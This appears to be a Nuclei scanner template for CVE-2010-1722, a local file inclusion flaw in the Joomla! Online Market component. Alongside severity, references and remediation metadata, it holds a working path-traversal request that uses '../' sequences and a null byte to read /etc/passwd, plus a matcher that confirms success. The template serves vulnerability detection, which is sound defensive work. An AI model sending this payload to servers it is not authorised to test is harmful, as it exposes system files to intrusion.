id: CVE-2010-1722

info:
  name: Joomla! Component Online Market 2.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Online Market (com_market) component 2.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest security patches or updates provided by Joomla! to fix the LFI vulnerability in the Online Market 2.x component.
  reference:
    - https://www.exploit-db.com/exploits/12177
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1722
    - http://www.exploit-db.com/exploits/12177
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57674
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1722
    cwe-id: CWE-22
    epss-score: 0.01242
    epss-percentile: 0.83996
    cpe: cpe:2.3:a:dev.pucit.edu.pk:com_market:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dev.pucit.edu.pk
    product: com_market
  tags: cve,cve2010,joomla,lfi,edb,dev.pucit.edu.pk

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220142056a5b2ce5fb9dd8e21a769baaff5e315d51225705a5e192a9bf7ddeb4cf00221009770f5c8623e94dd6642e318f440231cdb1e523505eb4409228222b0bc68dbbc:922c64590222798bb761d5b6d8e72950